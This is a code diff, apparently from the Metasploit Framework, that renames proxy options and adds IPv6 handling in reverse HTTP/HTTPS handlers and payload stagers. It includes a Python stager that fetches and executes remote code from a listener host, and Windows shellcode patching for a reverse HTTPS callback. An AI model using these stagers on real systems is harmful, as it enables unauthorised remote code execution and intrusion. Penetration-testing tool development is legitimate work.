diff --git a/lib/msf/core/handler/reverse_hop_http.rb b/lib/msf/core/handler/reverse_hop_http.rb index 6f4f635239..daed63cfd8 100644 --- a/lib/msf/core/handler/reverse_hop_http.rb +++ b/lib/msf/core/handler/reverse_hop_http.rb @@ -256,11 +256,11 @@ module ReverseHopHttp :expiration => datastore['SessionExpirationTimeout'], :comm_timeout => datastore['SessionCommunicationTimeout'], :ua => datastore['MeterpreterUserAgent'], - :proxyhost => datastore['PROXYHOST'], - :proxyport => datastore['PROXYPORT'], - :proxy_type => datastore['PROXY_TYPE'], - :proxy_username => datastore['PROXY_USERNAME'], - :proxy_password => datastore['PROXY_PASSWORD'] + :proxy_host => datastore['PayloadProxyHost'], + :proxy_port => datastore['PayloadProxyPort'], + :proxy_type => datastore['PayloadProxyType'], + :proxy_user => datastore['PayloadProxyUser'], + :proxy_pass => datastore['PayloadProxyPass'] blob = encode_stage(blob) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 581a7c64cc..be367dadb6 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -58,18 +58,12 @@ module ReverseHttp ], Msf::Handler::ReverseHttp) end - # Toggle for IPv4 vs IPv6 mode - # - def ipv6? - Rex::Socket.is_ipv6?(datastore['LHOST']) - end - # Determine where to bind the server # # @return [String] def listener_address - if datastore['ReverseListenerBindAddress'].to_s.empty? - bindaddr = (ipv6?) ? '::' : '0.0.0.0' + if datastore['ReverseListenerBindAddress'].to_s == "" + bindaddr = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '::' : '0.0.0.0' else bindaddr = datastore['ReverseListenerBindAddress'] end @@ -77,14 +71,12 @@ module ReverseHttp bindaddr end + # Return a URI suitable for placing in a payload + # # @return [String] A URI of the form +scheme://host:port/+ def listener_uri - if ipv6? - listen_host = "[#{listener_address}]" - else - listen_host = listener_address - end - "#{scheme}://#{listen_host}:#{datastore['LPORT']}/" + uri_host = Rex::Socket.is_ipv6?(listener_address) ? "[#{listener_address}]" : listener_address + "#{scheme}://#{uri_host}:#{datastore['LPORT']}/" end # Return a URI suitable for placing in a payload. @@ -158,6 +150,7 @@ module ReverseHttp 'VirtualDirectory' => true) print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}") + lookup_proxy_settings end # @@ -175,6 +168,45 @@ module ReverseHttp protected + # + # Parses the proxy settings and returns a hash + # + def lookup_proxy_settings + info = {} + return @proxy_settings if @proxy_settings + + if datastore['PayloadProxyHost'].to_s == "" + @proxy_settings = info + return @proxy_settings + end + + info[:host] = datastore['PayloadProxyHost'].to_s + info[:port] = (datastore['PayloadProxyPort'] || 8080).to_i + info[:type] = datastore['PayloadProxyType'].to_s + + uri_host = info[:host] + + if Rex::Socket.is_ipv6?(uri_host) + uri_host = "[#{info[:host]}]" + end + + info[:info] = "#{uri_host}:#{info[:port]}" + + if info[:type] == "SOCKS" + info[:info] = "socks=#{info[:info]}" + else + info[:info] = "http://#{info[:info]}" + if datastore['PayloadProxyUser'].to_s != "" + info[:username] = datastore['PayloadProxyUser'].to_s + end + if datastore['PayloadProxyPass'].to_s != "" + info[:password] = datastore['PayloadProxyPass'].to_s + end + end + + @proxy_settings = info + end + # # Parses the HTTPS request # @@ -204,7 +236,7 @@ protected blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'") - unless datastore['PROXYHOST'].blank? && datastore['PayloadProxyHost'].blank? + unless datastore['PayloadProxyHost'].blank? proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}" blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'") end @@ -268,11 +300,11 @@ protected :expiration => datastore['SessionExpirationTimeout'], :comm_timeout => datastore['SessionCommunicationTimeout'], :ua => datastore['MeterpreterUserAgent'], - :proxyhost => datastore['PayloadProxyHost'] || datastore['PROXYHOST'], - :proxyport => datastore['PayloadProxyPort'] || datastore['PROXYPORT'], - :proxy_type => datastore['PayloadProxyType'] || datastore['PROXY_TYPE'], - :proxy_username => datastore['PayloadProxyUser'] || datastore['PROXY_USERNAME'], - :proxy_password => datastore['PayloadProxyPass'] || datastore['PROXY_PASSWORD'] + :proxy_host => datastore['PayloadProxyHost'], + :proxy_port => datastore['PayloadProxyPort'], + :proxy_type => datastore['PayloadProxyType'], + :proxy_user => datastore['PayloadProxyUser'], + :proxy_pass => datastore['PayloadProxyPass'] resp.body = encode_stage(blob) diff --git a/lib/msf/core/handler/reverse_https_proxy.rb b/lib/msf/core/handler/reverse_https_proxy.rb index 35e5a40cb7..535cf01219 100644 --- a/lib/msf/core/handler/reverse_https_proxy.rb +++ b/lib/msf/core/handler/reverse_https_proxy.rb @@ -40,11 +40,11 @@ module ReverseHttpsProxy [ OptString.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]), OptPort.new('LPORT', [ true, "The local listener port", 8443 ]), - OptString.new('PROXYHOST', [true, "The address of the http proxy to use" ,"127.0.0.1"]), - OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]), - OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]), - OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]), - OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"]) + OptString.new('PayloadProxyHost', [true, "The proxy server's IP address", "127.0.0.1"]), + OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]), + OptEnum.new('PayloadProxyType', [true, 'The proxy type, HTTP or SOCKS', 'HTTP', ['HTTP', 'SOCKS']]), + OptString.new('PayloadProxyUser', [ false, "An optional username for HTTP proxy authentication"]), + OptString.new('PayloadProxyPass', [ false, "An optional password for HTTP proxy authentication"]) ], Msf::Handler::ReverseHttpsProxy) register_advanced_options( diff --git a/lib/rex/payloads/meterpreter/patch.rb b/lib/rex/payloads/meterpreter/patch.rb index 98354ba45f..93c54873bf 100644 --- a/lib/rex/payloads/meterpreter/patch.rb +++ b/lib/rex/payloads/meterpreter/patch.rb @@ -118,13 +118,13 @@ module Rex patch_comm_timeout! blob, options[:comm_timeout] patch_ua! blob, options[:ua] patch_proxy!(blob, - options[:proxyhost], - options[:proxyport], + options[:proxy_host], + options[:proxy_port], options[:proxy_type] ) patch_proxy_auth!(blob, - options[:proxy_username], - options[:proxy_password], + options[:proxy_user], + options[:proxy_pass], options[:proxy_type] ) diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 7015fdda36..eb35c6ea96 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -411,11 +411,11 @@ class ClientCore < Extension :expiration => self.client.expiration, :comm_timeout => self.client.comm_timeout, :ua => client.exploit_datastore['MeterpreterUserAgent'], - :proxyhost => client.exploit_datastore['PayloadProxyHost'] || client.exploit_datastore['PROXYHOST'], - :proxyport => client.exploit_datastore['PayloadProxyPort'] || client.exploit_datastore['PROXYPORT'], - :proxy_type => client.exploit_datastore['PayloadProxyType'] || client.exploit_datastore['PROXY_TYPE'], - :proxy_username => client.exploit_datastore['PayloadProxyUser'] || client.exploit_datastore['PROXY_USERNAME'], - :proxy_password => client.exploit_datastore['PayloadProxyPass'] || client.exploit_datastore['PROXY_PASSWORD'] + :proxy_host => client.exploit_datastore['PayloadProxyHost'], + :proxy_port => client.exploit_datastore['PayloadProxyPort'], + :proxy_type => client.exploit_datastore['PayloadProxyType'], + :proxy_user => client.exploit_datastore['PayloadProxyUser'], + :proxy_pass => client.exploit_datastore['PayloadProxyPass'] end diff --git a/modules/payloads/stagers/python/reverse_http.rb b/modules/payloads/stagers/python/reverse_http.rb index 0c7af67036..5ec8a39381 100644 --- a/modules/payloads/stagers/python/reverse_http.rb +++ b/modules/payloads/stagers/python/reverse_http.rb @@ -26,9 +26,9 @@ module Metasploit3 register_options( [ - OptString.new('PROXYHOST', [ false, "The address of an http proxy to use", "" ]), - OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]) - ], Msf::Handler::ReverseHttp) + OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]), + OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]) + ], self.class) end # @@ -41,21 +41,32 @@ module Metasploit3 txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\')) } - target_url = 'http://' - target_url << lhost + if Rex::Socket.is_ipv6?(lhost) + target_url = "http://[#{lhost}]" + else + target_url = "http://#{lhost}" + end + target_url << ':' target_url << datastore['LPORT'].to_s target_url << '/' target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP) + proxy_host = datastore['PayloadProxyHost'].to_s + proxy_port = datastore['PayloadProxyPort'].to_i + cmd = "import sys\n" - if datastore['PROXYHOST'].blank? + if proxy_host == '' cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n" else - proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}" + proxy_url = Rex::Socket.is_ipv6?(proxy_host) ? + "http://[#{proxy_host}]:#{proxy_port}" : + "http://#{proxy_host}:#{proxy_port}" + cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n" cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n" end + cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n" cmd << "exec(o.open('#{target_url}').read())\n" diff --git a/modules/payloads/stagers/windows/reverse_https_proxy.rb b/modules/payloads/stagers/windows/reverse_https_proxy.rb index 8e392f266a..500506525a 100644 --- a/modules/payloads/stagers/windows/reverse_https_proxy.rb +++ b/modules/payloads/stagers/windows/reverse_https_proxy.rb @@ -82,70 +82,74 @@ module Metasploit3 p[i, u.length] = u # patch proxy info - proxyhost = datastore['PROXYHOST'].to_s - proxyport = datastore['PROXYPORT'].to_s || "8080" + proxyhost = datastore['PayloadProxyHost'].to_s + proxyport = datastore['PayloadProxyPort'].to_s || "8080" + + if Rex::Socket.is_ipv6?(proxyhost) + proxyhost = "[#{proxyhost}]" + end + proxyinfo = proxyhost + ":" + proxyport if proxyport == "80" proxyinfo = proxyhost end - if datastore['PROXY_TYPE'].to_s == 'HTTP' + if datastore['PayloadProxyType'].to_s == 'HTTP' proxyinfo = 'http://' + proxyinfo else #socks proxyinfo = 'socks=' + proxyinfo end + proxyloc = p.index("PROXYHOST:PORT") p = p.gsub("PROXYHOST:PORT",proxyinfo) - # patch the call - calloffset = proxyinfo.length - calloffset += 1 + # Patch the call + calloffset = proxyinfo.length + 1 p[proxyloc-4] = [calloffset].pack('V')[0] - #Optional authentification - if (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or - (datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or - datastore['PROXY_TYPE'] == 'SOCKS' + # Authentication credentials have not been specified + if datastore['PayloadProxyUser'].to_s == '' or + datastore['PayloadProxyPass'].to_s == '' or + datastore['PayloadProxyType'].to_s == 'SOCKS' jmp_offset = p.index("PROXY_AUTH_STOP") + 15 - p.index("PROXY_AUTH_START") - #remove auth code + + # Remove the authentication code p = p.gsub(/PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i, "") else - username_size_diff = 14 - datastore['PROXY_USERNAME'].length - password_size_diff = 14 - datastore['PROXY_PASSWORD'].length - jmp_offset = 16 + #PROXY_AUTH_START length - 15 + #PROXY_AUTH_STOP length - username_size_diff + # difference between datastore PROXY_USERNAME length and db "PROXY_USERNAME length" - password_size_diff # same with PROXY_PASSWORD - #patch call offset + username_size_diff = 14 - datastore['PayloadProxyUser'].to_s.length + password_size_diff = 14 - datastore['PayloadProxyPass'].to_s.length + jmp_offset = + 16 + # PROXY_AUTH_START length + 15 + # PROXY_AUTH_STOP length + username_size_diff + # Difference between datastore PayloadProxyUser length and db "PayloadProxyUser length" + password_size_diff # Same with PayloadProxyPass + + # Patch call offset username_loc = p.index("PROXY_USERNAME") p[username_loc - 4, 4] = [15 - username_size_diff].pack("V") password_loc = p.index("PROXY_PASSWORD") p[password_loc - 4, 4] = [15 - password_size_diff].pack("V") - #remove markers & change login/pwd + + # Remove markers & change login/password p = p.gsub("PROXY_AUTH_START","") p = p.gsub("PROXY_AUTH_STOP","") - p = p.gsub("PROXY_USERNAME", datastore['PROXY_USERNAME']) - p = p.gsub("PROXY_PASSWORD", datastore['PROXY_PASSWORD']) + p = p.gsub("PROXY_USERNAME", datastore['PayloadProxyUser'].to_s) + p = p.gsub("PROXY_PASSWORD", datastore['PayloadProxyPass'].to_s) end - #patch jmp dbl_get_server_host + + # Patch jmp dbl_get_server_host jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V") - #patch call Internetopen + + # Patch call Internetopen p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("V")[0] + jmp_offset].pack("V") - # patch the LPORT - lport = datastore['LPORT'] - + # Patch the LPORT lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444 - p[lportloc+1] = [lport.to_i].pack('V')[0] - p[lportloc+2] = [lport.to_i].pack('V')[1] - p[lportloc+3] = [lport.to_i].pack('V')[2] - p[lportloc+4] = [lport.to_i].pack('V')[3] + p[lportloc+1,4] = [datastore['LPORT'].to_i].pack('V') - # append LHOST and return payload - - lhost = datastore['LHOST'] - p + lhost.to_s + "\x00" + # Append LHOST and return payload + p + datastore['LHOST'].to_s + "\x00" end